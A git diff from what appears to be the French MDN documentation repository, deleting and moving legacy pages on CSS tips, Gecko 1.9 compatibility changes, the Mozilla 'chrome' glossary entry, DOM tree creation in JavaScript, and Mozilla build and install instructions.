Afin de placer la zone texteopaque par dessus fondtranslucide, il faut utiliser le positionnement absolu et l'attribut z-index pour le DIV contenant le texte. De plus, la hauteur et la largeur des deux DIV doivent être identiques, elles doivent donc être déclarées explicitement. -

-
#conteneur {
-   position: absolute;
-   top: 100px; left: 400px;         /* placez-le où vous voulez    */
-}
-
-#fondtranslucide {
-   width: 250px; height: 100px;     /* pour correspondre à la taille du DIV */
-   background-color: #ffffff;       /* la couleur de fond          */
-   filter:alpha(opacity=50);
-   -moz-opacity:0.5;
-   opacity: 0.5;
-}
-
-#texteopaque {
-   width: 250px; height: 100px;     /* pour correspondre à la taille du DIV */
-   background-color: transparent;   /* fond transparent            */
-   position: absolute;              /* positionnement absolu       */
-   z-index: 2;                      /* placement sur l'autre DIV   */
-}
-
-


-

-
Comment retirer la hauteur fixe prédéfinie
-

Il est parfois problématique d'avoir une hauteur prédéfinie, parce que la longueur du texte contenu (et des images) n'est pas connue. Il est toujours possible d'éviter de fixer la hauteur, avec quelques ajouts supplémentaires. Le plus simple est de laisser grandir le DIV texteopaque autant que nécessaire, puis d'utiliser JavaScript pour redimensionner fondtranslucide à la même hauteur. Mais ce n'est pas une solution en pur CSS. -

Si vous voulez n'utiliser que CSS, la solution est assez simple, vous n'avez qu'à répéter le contenu de texteopaque dans fondtranslucide également. Ce n'est pas élégant, mais très facile à implémenter, notamment dans les pages générées dynamiquement. -

-
<div id="conteneur">
-
-   <div id="texteopaque">
-      Ceci est un texte normal
-      sur un fond translucide
-   </div>
-
-   <div id="fondtranslucide">
-      Ceci est un texte normal
-      sur un fond translucide
-   </div>
-
-</div>
-
-

Image PNG avec canal alpha

-

Cette solution utilise toujours la hiérarchie parent-enfant, mais est en fait une technique hybride, car elle met en œuvre le fond translucide avec des moyens totalement différents selon le navigateur utilisé. -

- - -

Notes et inconvénients pour cette solution : -

- -
<div id="conteneur">
-  <div id="fondtranslucide">
-    <div id="texteopaque">
-      Ceci est un texte normal
-      sur un fond translucide
-    </div>
-  </div>
-</div>
-
-
#conteneur {
-   position: absolute;
-   width: 250px;
-   top: 400px;  left: 100px;
-   }
-
-#fondtranslucide {
-   width: 250px;
-   background-image: url(transparent.png) !important;  /* Mozilla uniquement */
-   background-color: transparent !important;           /* Mozilla uniquement */
-   background-image: none;                             /* IE uniquement */
-   background-color: #ffffff;                          /* IE uniquement */
-   filter:alpha(opacity=50);                           /* IE uniquement */
-   }
-
-#texteopaque { position: relative; }
-
-{{ languages( { "en": "en/Useful_CSS_tips/Color_and_Background" } ) }} diff --git a/files/fr/astuces_css/index.html b/files/fr/astuces_css/index.html deleted file mode 100644 index 213bc187b5..0000000000 --- a/files/fr/astuces_css/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Astuces CSS -slug: Astuces_CSS -tags: - - CSS -translation_of: Web/CSS -translation_of_original: Useful_CSS_tips ---- -

-

Cette page présente quelques astuces concernant l'utilisation de CSS. Chaque astuce est prévue pour être aussi courte que possible et fournir les informations nécessaires sur les propriétés et caractéristiques les plus recherchées mais peu connues ou sujettes à des erreurs fréquentes. -

-

Astuces CSS:Couleurs et fonds

-
Du texte opaque sur un fond translucide -
-

Astuces CSS:Tableaux

-
Comment centrer un tableau -
La bonne bordure pour votre tableau -
Donnez un style à vos colonnes avec une solution en pur CSS -
Un tableau dont le contenu peut défiler mais les en-têtes restent fixes -
-

Astuces CSS:Liens

-
L'ordre correct pour les pseudo-classes d'ancres -
Comportement de survol quand il n'y a pas de texte -
-{{ languages( { "en": "en/Useful_CSS_tips" } ) }} diff --git a/files/fr/astuces_css/liens/index.html b/files/fr/astuces_css/liens/index.html deleted file mode 100644 index c6c631c6c0..0000000000 --- a/files/fr/astuces_css/liens/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Liens -slug: Astuces_CSS/Liens -tags: - - CSS -translation_of: Web/CSS/Pseudo-classes -translation_of_original: Useful_CSS_tips/Links ---- -

-

-

Les pseudo-classes d'ancre

-

Les feuilles de style CSS permettent de styler les ancres grâce à 4 pseudo-classes : -

- -

À cause de la nature en cascade des styles CSS, il est important de déclarer les pseudo-classes dans l'ordre indiqué ci-dessus. Le style de :hover doit être placé après :link et :visited, sinon il serait écrasé par ces 2 derniers styles. De plus, comme :active est défini après :hover, quand un lien est aussi bien survolé que actif, le dernier style est appliqué. -

-

:hover quand il n'y a pas de texte

-

Normalement, la pseudo-classe :hover est appliquée quand un dispositif de pointage survole le texte du lien. Parfois, quand un lien est placé dans une cellule de tableau ou une barre de menu, verticale ou horizontale, il est nécessaire d'appliquer le style :hover quand le pointeur survole la cellule, là où il n'y a pas de texte. -

Un contournement pour avoir ce comportement est de styler l'ancre comme un block avec une largeur fixe. -

-
<a style="display: block; width: 150px;" href="#">Mon lien</a>
-
-

Articles connexes

- -

Interwiki Languages Links -

{{ languages( { "en": "en/Useful_CSS_tips/Links" } ) }} diff --git a/files/fr/astuces_css/tableaux/index.html b/files/fr/astuces_css/tableaux/index.html deleted file mode 100644 index 3a1430f65e..0000000000 --- a/files/fr/astuces_css/tableaux/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Tableaux -slug: Astuces_CSS/Tableaux -tags: - - CSS -translation_of: Web/CSS/border-collapse -translation_of_original: Useful_CSS_tips/Tables ---- -

Centrage

-

Si vous voulez centrer un tableau, il n'est pas correct d'utiliser

-
-
- text-align: center
-
-

dans l'élément parent. La méthode correcte est d'appliquer le style

-
-
- margin: 0px auto 0px auto
-
-

à la table elle-même.

- - - - - - - - - - - - - - - - - - - - - -
Table avec margin: 0px auto 0px auto;
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
-

Bordures

-

Voici un tableau standard avec cellspacing non nul et une bordure de cellule de 1px :

- - - - - - - - - - - - - - - - - - - - - -
Table avec cellspacing="4"
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
-

Si vous voulez transformer le tableau en grille, définissez l'espacement de cellule à 0 et le tableau devient comme ceci :

- - - - - - - - - - - - - - - - - - - - - -
Table avec cellspacing="0"
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
-

Le résultat n'est pas celui attendu et la raison en est que le modèle de bordure par défaut est défini comme séparé. Avec ce modèle, chaque cellule à sa propre bordure, même si l'espacement de cellule est 0. Afin d'avoir un rendu comme une grille, le modèle collapse doit être utilisé.

- - - - - - - - - - - - - - - - - - - - - -
Table avec cellspacing="0"
- et border-collapse:collapse;
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
-

Style de colonne

-

Si vous voulez définir un style particulier à certaines colonnes du tableau, la solution usuelle est de créer une classe de style et d'assigner explicitement toutes les cellules appartenant à ces colonnes à cette classe.

-
 <style type="text/css">
-   td { background-color: #eeeeee; }
-   td.CoulNoire { background-color: #cccccc; }
- </style>
-
-<table>
- <tr><td class="darkcol">Cell</td>
-    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
-  <tr><td class="darkcol">Cell</td>
-    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
-  <tr><td class="darkcol">Cell</td>
-    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
-  <tr><td class="darkcol">Cell</td>
-    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
-  <tr><td class="darkcol">Cell</td>
-    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
- </table>
-
-

Cette solution a l'avantage d'être compatible multi-navigateur, mais nécessite aussi de modifier le code HTML, pour explicitement sélectionner les cellules du tableau à styler.

-

Pour les navigateurs supportant les sélecteurs adjacents, il existe une solution alternative en pure CSS

-
<style type="text/css">
-    /* Style pour toutes les lignes */
-  tr { font: bold 16px Arial; }
-    /* Style pour les lignes avec une ligne avant: 2e, 3e, 4e, ... */
-  tr + tr { font: 12px Arial; }
-
-    /* Style pour toutes les colonnes */
-  td { background-color: #cccccc; }
-    /* Style pour les colonnes avec une colonne avant: 2e, 3e, 4e, 5e */
-  td + td { background-color: #eeeeee; }
-    /* Style pour les colonnes avec 4 colonnes avant: 5e */
-  td + td + td + td + td { background-color: #cccccc; }
-</style>
-
-<table>
-  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
-  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
-  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
-  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
-  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
-</table>
-
-

En-tête fixe

-

Si un tableau contient de nombreuses lignes, quand l'utilisateur fait défiler la page vers le bas pour voir toutes les données, l'en-tête défile en haut et devient invisible. Vous pouvez avoir un tableau avec un en-tête fixe et un défilement vertical, en utilisant le code ci-après.

-
- Ce code ne fait pas partie de la page originale et a été rajouté par le traducteur
-
<style type="text/css">
-table {
-	width: 20em;                    /* esthétique */
-	border-collapse: separate;      /* par défaut */
-/*  border-collapse: collapse;          /* Boggué depuis 2002 avec overflow-y: auto sur tbody */
-	border-spacing: 0;              /* contournement du bug */
-}
-tbody {
-	height: 10em;                   /* définit une hauteur */
-	overflow-x: hidden;             /* esthétique */
-	overflow-y: auto;               /* permet de scroller les cellules */
-}
-td {
-	border-left: 1px solid blue;    /* contournement du bug */
-	border-bottom: 1px solid blue;  /* contournement du bug */
-}
-</style>
-
-<table>
-  <thead><tr><th>Entête</th><th>Entête</th><th>Entête</th></tr></thead>
-  <tfoot><tr><th>Pied</th><th>Pied</th><th>Pied</th></tr></tfoot>
-  <tbody>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
-  </tbody>
-</table>
-
-

Actuellement, il y a un problème avec le moteur de rendu de Firefox (voir sur bugzilla {{ Bug(135236) }})), qui ne style pas corectement des tableaux avec le modèle collapse border et TBODY avec le style overflow: auto.

-

{{ languages( { "en": "en/Useful_CSS_tips/Tables" } ) }}

diff --git "a/files/fr/bugs_importants_corrig\303\251s_dans_firefox_3/index.html" "b/files/fr/bugs_importants_corrig\303\251s_dans_firefox_3/index.html" deleted file mode 100644 index 8c21490a17..0000000000 --- "a/files/fr/bugs_importants_corrig\303\251s_dans_firefox_3/index.html" +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Bugs importants corrigés dans Firefox 3 -slug: Bugs_importants_corrigés_dans_Firefox_3 -translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed ---- -
{{FirefoxSidebar}}

Cet article fait la liste des corrections importantes faisant partie de Firefox 3 qui ne sont pas nécessairement évidentes à trouver dans la documentation.

- - - -

Voir également

- - - -

 

- -
 
- -

{{ languages( { "en": "en/Notable_bugs_fixed_in_Firefox_3", "es": "es/Bugs_importantes_solucionados_en_Firefox_3", "ja": "ja/Notable_bugs_fixed_in_Firefox_3", "pl": "pl/Istotne_b\u0142\u0119dy_poprawione_w_Firefoksie_3" } ) }}

diff --git a/files/fr/changements_dans_gecko_1.9_affectant_les_sites_web/index.html b/files/fr/changements_dans_gecko_1.9_affectant_les_sites_web/index.html deleted file mode 100644 index aacc05c730..0000000000 --- a/files/fr/changements_dans_gecko_1.9_affectant_les_sites_web/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Changements dans Gecko 1.9 affectant les sites Web -slug: Changements_dans_Gecko_1.9_affectant_les_sites_Web -tags: - - Développement_Web - - Gecko -translation_of: Mozilla/Firefox/Releases/3/Site_compatibility ---- -
{{FirefoxSidebar}}
- -

Cette page essaie de donner un aperçu des changements entre Gecko 1.8 et Gecko 1.9 qui pourraient éventuellement affecter le comportement ou le rendu des sites Web.

- -

Consultez également Firefox 3 pour les développeurs.

- -

Évènements

- -

Gestionnaires d'évènements capturants load

- -

Dans Gecko 1.8, il n'était pas possible de définir des gestionnaires d'évènements load capturants sur les images. Dans Gecko 1.9, cela devient possible avec la résolution du {{ Bug(234455) }}. Cela peut cependant causer des problèmes sur les sites Web qui ont incorrectement défini leurs gestionnaires d'évènements sur l'évènement load. Consultez la discussion dans le {{ Bug(335251) }}. Pour résoudre ce problème, les pages en question ne doivent pas définir de gestionnaires d'évènements capturants pour l'évènement load.

- -

Par exemple, ceci :

- -
window.addEventListener('load', votreFonction, true);
-
- -

devrait être remplacé par ceci :

- -
window.addEventListener('load', votreFonction, false);
-
- -

Pour une explication du fonctionnement de la capture des évènements, consultez DOM Level 2 Event capture (en)

- -

preventBubble a été supprimée

- -

Dans Gecko 1.8, la méthode preventBubble existait sur les évènements pour les empêcher de se propager plus haut. Dans Gecko 1.9, cette méthode a été supprimée. À la place, utilisez la méthode standard stopPropagation(), qui fonctionne également dans Gecko 1.8. Ce changement a été produit par le patch pour le {{ Bug(330494) }}. Consultez également le {{ Bug(105280) }}.

- -

Quelques autres anciennes API d'évènements ne sont plus supportées

- -

window.captureEvents, window.releaseEvents et window.routeEvent ne sont plus supportées ({{ Obsolete_inline() }}) dans Gecko 1.9.

- -

DOM

- -

L'exception WRONG_DOCUMENT_ERR se déclenche lorsque l'on essaie d'utiliser un nœud d'un document différent

- -

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec - document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes - de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

- -

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 - alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception - WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

- - -

Ranges

- -

intersectsNode a été supprimée

- -

Dans Gecko 1.8, la fonction intersectsNode pouvait être utilisée pour vérifier si un nœud faisait partie d'un range. Cependant, les valeurs renvoyées par cette fonction étaient trompeuses et rarement utiles. Elle a donc été retirée de Gecko 1.9. Utilisez à la place la fonction standard et plus précise compareBoundaryPoints. Cette fonction a été retirée par le patch du {{ Bug(358073) }}.

- -

Consultez la documentation de intersectsNode pour savoir comment utiliser compareBoundaryPoints à la place.

- -

compareNode a été supprimée

- -

Dans Gecko 1.8, la fonction compareNode pouvait être utilisée pour tester l'intersection d'un nœud avec un range. Cependant, les valeurs renvoyées par cette fonction étaient trompeuses et rarement utiles. Elle a donc été retirée de Gecko 1.9. Utilisez à la place la fonction standard et plus précise compareBoundaryPoints. Cette fonction a été retirée par le patch du {{ Bug(358073) }}.

- -

Consultez la documentation de compareNode pour savoir comment utiliser compareBoundaryPoints à la place.

- -

HTML

- -

Correction de nombreux bogues dans le code de <object>

- - - -
 
- -

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron", "pt": "pt/Mudan\u00e7as_no_Gecko_1.9_que_afetam_websites" } ) }}

diff --git a/files/fr/chrome/index.html b/files/fr/chrome/index.html deleted file mode 100644 index 4c11e52a8c..0000000000 --- a/files/fr/chrome/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Chrome -slug: Chrome -tags: - - API_du_toolkit -translation_of: Glossary/Chrome -translation_of_original: Chrome ---- -

Le terme Chrome a historiquement plusieurs significations dans le cadre de Mozilla.

-
-
- Browser chrome / Chrome
-
- Le « chrome du navigateur » est l'interface utilisateur autour de la page Web, par opposition à la zone de contenu.
-
- D'une manière plus générale, le chrome est l'ensemble des entités formant l'interface utilisateur d'une application ou d'une extension donnée.
-
- Une URL chrome://
-
- Une URL utilisant le protocole chrome://. Le code chargé depuis une URL chrome a des privilèges étendus, ou privilèges - - chrome - .
-
- Les applications basées sur XUL chargent le code de leurs interfaces depuis des URL chrome://.
-
- Privilèges chrome
-
- Le code s'exécutant avec des privilèges chrome a la permission de tout faire, contrairement au contenu Web, qui est limité de plusieurs manières.
-
- Le paramètre chrome de la méthode window.open
-
- Passer le paramètre chrome à window.open ouvre une nouvelle fenêtre sans aucun élément de l'interface utilisateur du navigateur.
-
- Dossier chrome
-
- Ce dossier fait habituellement partie de l'installation d'une application basée sur XUL. Les application chargent généralement leurs fichiers d'interface utilisateur depuis les fichiers de ce dossier.
-
- Paramètre de ligne de commande -chrome
-
- Lance l'application et ouvre le fichier XUL spécifié dans une fenêtre de premier plan. Par exemple mozilla -chrome chrome://inspector/content démarre l'Inspecteur DOM.
-
- Paquetage chrome
-
- Un - - paquetage chrome - est composé d'un ensemble de - - fournisseurs chrome - . Il existe trois types basiques de fournisseurs chrome : -
    -
  • Content. il peut s'agir de n'importe quel fichier que Mozilla sait afficher. En général, le fournisseur content consiste le plus souvent en un ensemble de fichiers de liaison XUL, JavaScript et XBL.
    • -
  • Locale. Il s'agit des traductions pour le support de multiples langues. Les deux principaux types de fichiers sont les fichiers DTD et les fichiers de propriétés à la manière de Java.
    • -
  • Skin. Le fournisseur skin est responsable de la fourniture des données définissant l'apparence visuelle de l'interface utilisateur. Il est constitué de fichiers CSS et d'images.
    • -
-
-
-
-
- chrome.rdf
-
- Le registre chrome conserve la liste des paquetages chrome enregistrés et d'autres informations. Il se situait dans le répertoire d'installation et dans le profil. Il n'est plus utilisé depuis Gecko 1.8 (Firefox 1.5).
-
-

Voir également

-

(Note : bien que les deux documents ci-dessous mentionnent les fichiers contents.rdf, il existe un moyen plus simple de déclarer vos fournisseurs chrome depuis Firefox 1.5 / Toolkit 1.8 — l'utilisation des manifestes chrome)

- diff --git "a/files/fr/comment_cr\303\251er_un_arbre_dom/index.html" "b/files/fr/comment_cr\303\251er_un_arbre_dom/index.html" deleted file mode 100644 index 9e74fa2870..0000000000 --- "a/files/fr/comment_cr\303\251er_un_arbre_dom/index.html" +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Comment créer un arbre DOM -slug: Comment_créer_un_arbre_DOM -tags: - - AJAX - - DOM - - Extensions -translation_of: Web/API/Document_object_model/How_to_create_a_DOM_tree ---- -

 

- -

Cet article décrit comment utiliser l'API DOM Core (en) en JavaScript pour créer et modifier des objets DOM. Il concerne toutes les applications basées sur Gecko (telles que Firefox) sur du code avec privilèges (par exemple les extensions) ou sans privilège (des pages Web).

- -

Créer dynamiquement un arbre DOM

- -

Considérons le document XML suivant :

- -
<?xml version="1.0"?>
-<people>
-  <person first-name="eric" middle-initial="H" last-name="jung">
-    <address street="321 south st" city="denver" state="co" country="usa"/>
-    <address street="123 main st" city="arlington" state="ma" country="usa"/>
-  </person>
-
-  <person first-name="jed" last-name="brown">
-    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
-    <address street="123 west st" city="seattle" state="wa" country="usa"/>
-    <address street="321 south avenue" city="denver" state="co" country="usa"/>
-  </person>
-</people>
-
- -

L'API DOM du W3C, supportée par Mozilla, peut être utilisée pour créer une représentation en mémoire de ce document comme cela :

- -
var doc = document.implementation.createDocument("", "", null);
-var peopleElem = doc.createElement("people");
-
-var personElem1 = doc.createElement("person");
-personElem1.setAttribute("first-name", "eric");
-personElem1.setAttribute("middle-initial", "h");
-personElem1.setAttribute("last-name", "jung");
-
-var addressElem1 = doc.createElement("address");
-addressElem1.setAttribute("street", "321 south st");
-addressElem1.setAttribute("city", "denver");
-addressElem1.setAttribute("state", "co");
-addressElem1.setAttribute("country", "usa");
-personElem1.appendChild(addressElem1);
-
-var addressElem2 = doc.createElement("address");
-addressElem2.setAttribute("street", "123 main st");
-addressElem2.setAttribute("city", "arlington");
-addressElem2.setAttribute("state", "ma");
-addressElem2.setAttribute("country", "usa");
-personElem1.appendChild(addressElem2);
-
-var personElem2 = doc.createElement("person");
-personElem2.setAttribute("first-name", "jed");
-personElem2.setAttribute("last-name", "brown");
-
-var addressElem3 = doc.createElement("address");
-addressElem3.setAttribute("street", "321 north st");
-addressElem3.setAttribute("city", "atlanta");
-addressElem3.setAttribute("state", "ga");
-addressElem3.setAttribute("country", "usa");
-personElem2.appendChild(addressElem3);
-
-var addressElem4 = doc.createElement("address");
-addressElem4.setAttribute("street", "123 west st");
-addressElem4.setAttribute("city", "seattle");
-addressElem4.setAttribute("state", "wa");
-addressElem4.setAttribute("country", "usa");
-personElem2.appendChild(addressElem4);
-
-var addressElem5 = doc.createElement("address");
-addressElem5.setAttribute("street", "321 south avenue");
-addressElem5.setAttribute("city", "denver");
-addressElem5.setAttribute("state", "co");
-addressElem5.setAttribute("country", "usa");
-personElem2.appendChild(addressElem5);
-
-peopleElem.appendChild(personElem1);
-peopleElem.appendChild(personElem2);
-doc.appendChild(peopleElem);
-
- -

Voir également le chapitre DOM du tutoriel XUL

- -

Vous pouvez automatiser la création de l'arbre DOM en utilisant un algorithme inversé JSON associé avec la représentation JSON suivante :

- -
{
-  "people": {
-    "person": [{
-      "address": [{
-        "@street": "321 south st",
-        "@city": "denver",
-        "@state": "co",
-        "@country": "usa"
-      }, {
-        "@street": "123 main st",
-        "@city": "arlington",
-        "@state": "ma",
-        "@country": "usa"
-      }],
-      "@first-name": "eric",
-      "@middle-initial": "H",
-      "@last-name": "jung"
-    }, {
-      "address": [{
-        "@street": "321 north st",
-        "@city": "atlanta",
-        "@state": "ga",
-        "@country": "usa"
-      }, {
-        "@street": "123 west st",
-        "@city": "seattle",
-        "@state": "wa",
-        "@country": "usa"
-      }, {
-        "@street": "321 south avenue",
-        "@city": "denver",
-        "@state": "co",
-        "@country": "usa"
-      }],
-      "@first-name": "jed",
-      "@last-name": "brown"
-    }]
-  }
-}
- -

Et après ?

- -

Les arbres DOM peuvent être interrogés en utilisant des expressions XPath, convertis en chaîne de caractères ou écris dans un fichier local ou distant en utilisant XMLSerializer (sans avoir à le convertir en chaîne de caractères auparavant), envoyés à un serveur Web (via XMLHttpRequest), transformés en utilisant XSLT, XLink,  convertis en un objet JavaScript à travers un algorithme JXON, etc.

- -

Vous pouvez utiliser des arbres DOM pour modéliser des données qui ne peuvent pas être traitées avec RDF (ou si vous n'aimez pas RDF). Un autre champ d'action est que, comme XUL est du XML, l'UI de votre application peut être manipulée dynamiquement, téléchargée, enregistrée, chargée, convertie ou transformée relativement facilement.

- -

Voir aussi

- - diff --git a/files/fr/compilation_et_installation/index.html b/files/fr/compilation_et_installation/index.html deleted file mode 100644 index 958b486d2a..0000000000 --- a/files/fr/compilation_et_installation/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Compilation et installation -slug: Compilation_et_installation -tags: - - Documentation_sur_la_compilation - - Développement_de_Mozilla -translation_of: Mozilla/Developer_guide/Build_Instructions -translation_of_original: Build_and_Install ---- -
-

Se réferer à la page suivante pour la compilation de Thunderbird (utilisation de l'outil Mach recommandée) : Simple Thunderbird build

-
- -
-

Ne commencez pas à compiler sans configurer vos options de compilation au préalable !

-
- -

Compilation

- -

Vous devez utiliser GNU make pour récupérer et compiler Mozilla. Aucun autre programme « make » n'est acceptable. Sous Windows, Mac OS X et Linux, utilisez « make » pour lancer GNU make ; sur la plupart des systèmes UNIX non-GNU, utilisez « gmake ».

- -

Une fois les sources récupérées, assurez-vous de configurer une application comme décrit sur la page Configuration des options de compilation.

- -

Pour Windows, Mac OS X et GNU/Linux, assurez-vous d'être dans le répertoire principal des sources (le répertoire « mozilla »), avant d'invoquer la commande make :

- -
$ make -f client.mk build
-
- -

Note pour Mac OS X : le chemin vers le répertoire des sources créé à la décompression du tarball des sources ne doit pas contenir d'espaces !

- -

Pour la plupart des UNIX non-GNU, la commande est :

- -
$ gmake -f client.mk build
-
- -

Si vous désirez configurer et compiler manuellement, placez-vous (cd) dans votre répertoire objdir, lancez configure, et ensuite make/gmake. Configure récupèrera cependant toujours les options spécifiées dans votre fichier .mozconfig.

- -

Lancement de votre nouvelle application

- -

Il est possible d'exécuter votre nouvelle application directement depuis le répertoire dans lequel elle a été compilée. Cependant, le répertoire de compilation peut contenir des liens symboliques vers l'arbre de compilation ; vous devez passer par l'étape d'installation/packaging pour produire une applicationstandalone qui peut être partagée ou déplacée.

- -

Windows et Linux

- -

Sur les systèmes de compilation non-Macintosh, l'application finale peut être trouvée dansobjdir /dist/bin. Sur les plateformes POSIX (BSD, GNU/Linux, Solaris), vous devrez exécuter le fichier « mozilla » ou « firefox », pas le binaire « mozilla-bin » ou « firefox-bin ».

- -

Mac OS X

- -

Sous Macintosh, le système de compilation produit un bundle d'application dansobjdir /dist/AppName .app, par exempleobjdir /dist/Minefield.app.

- -

Veuillez noter que lorsque vous compilez avec --enable-debug, l'application est placée dansobjdir /dist/AppName Debug.app, par exemple.objdir /dist/MinefieldDebug.app.

- -

Vous pouvez exécuter l'application soit en ouvrant le bundle à partir du Finder, soit depuis la ligne de commande à l'aide de

- -
$ objdir/dist/AppName[Debug].app/Contents/MacOS/appname
-
- -

par exemple :

- -
$ objdir/dist/MinefieldDebug.app/Contents/MacOS/firefox
-
- -
Construction d'un .dmg pour une compilation XULRunner
- -

Ces instructions concernent la construction d'un fichier .dmg depuis une compilation Mac OS X Universal binary.

- -
    -
  1. Effectuez une compilation Universal Binary
    2. -
  2. Créez les fichiers source chown_root.c et chown_revert.c depuis mxr:chown_root.c et mxr:chown_revert.c
    3. -
  3. Utilisez gcc pour compiler ces fichiers quelque part : gcc -o chown_root chown_root.c et gcc -o chown_revert chown_revert.c
    4. -
  4. Rendez-vous dans «objdir»/«arch»/xulrunner/installer et entrez make CHOWN_ROOT=«chemin_absolu_vers_votre_root_chown» CHOWN_REVERT=«chemin_absolu_vers_votre_binaire_inverse_chown»
    5. -
- -

Ceci devrait vous construire un binaire dans «arch»/dist.

- -

Installation de votre application

- -

Sur les plateformes POSIX, vous pouvez installer votre application dans le système en lançantgmake install . Cependant, ce n'est pas recommandé et il est préférable de suivre les instructions suivantes pour créer un tarball, et de décompresser ensuite ce tarball.

- -

Pour le tronc (Firefox 3)

- -

Pour les compilations du tronc, vous pouvez simplement exécuter make package dans votre répertoire objet pour créer une compilation empaquetée. Ceci créera un fichier zip ou tar.gz dans objdir/dist que vous pourrez ensuite décompresser n'importe où. Pour compiler un installeur Windows, utilisez simplement make installer dans votre répertoire objet.

- -

Pour la branche 1.8 (Firefox 2)

- -

Pour la plupart des applications, préparez un tarball/zip de votre application en faisant dans un répertoire spécifique à l'application :

- - - -

Pour créer un installeur Windows, lancez make avec le target « installer » dans le répertoire évoqué plus haut:

- - - -

{{ Note("Pour réaliser l\'installeur fortement compressé utilisé par Firefox et Thunderbird avec un système de compilation basé sur Cygwin, vous devrez installer quelques programmes additionnels :") }}

- - - -

Ces deux utilitaires doivent être accessibles depuis le PATH. De plus, la variable MOZ_INSTALLER_USE_7ZIP doit être définie dans votre environnement. Si vous utilisez le système de compilation MozillaBuild, 7-Zip et UPX seront installés automatiquement.

diff --git a/files/fr/conflicting/glossary/chrome/index.html b/files/fr/conflicting/glossary/chrome/index.html new file mode 100644 index 0000000000..4c11e52a8c --- /dev/null +++ b/files/fr/conflicting/glossary/chrome/index.html @@ -0,0 +1,70 @@ +--- +title: Chrome +slug: Chrome +tags: + - API_du_toolkit +translation_of: Glossary/Chrome +translation_of_original: Chrome +--- +

Le terme Chrome a historiquement plusieurs significations dans le cadre de Mozilla.

+
+
+ Browser chrome / Chrome
+
+ Le « chrome du navigateur » est l'interface utilisateur autour de la page Web, par opposition à la zone de contenu.
+
+ D'une manière plus générale, le chrome est l'ensemble des entités formant l'interface utilisateur d'une application ou d'une extension donnée.
+
+ Une URL chrome://
+
+ Une URL utilisant le protocole chrome://. Le code chargé depuis une URL chrome a des privilèges étendus, ou privilèges + + chrome + .
+
+ Les applications basées sur XUL chargent le code de leurs interfaces depuis des URL chrome://.
+
+ Privilèges chrome
+
+ Le code s'exécutant avec des privilèges chrome a la permission de tout faire, contrairement au contenu Web, qui est limité de plusieurs manières.
+
+ Le paramètre chrome de la méthode window.open
+
+ Passer le paramètre chrome à window.open ouvre une nouvelle fenêtre sans aucun élément de l'interface utilisateur du navigateur.
+
+ Dossier chrome
+
+ Ce dossier fait habituellement partie de l'installation d'une application basée sur XUL. Les application chargent généralement leurs fichiers d'interface utilisateur depuis les fichiers de ce dossier.
+
+ Paramètre de ligne de commande -chrome
+
+ Lance l'application et ouvre le fichier XUL spécifié dans une fenêtre de premier plan. Par exemple mozilla -chrome chrome://inspector/content démarre l'Inspecteur DOM.
+
+ Paquetage chrome
+
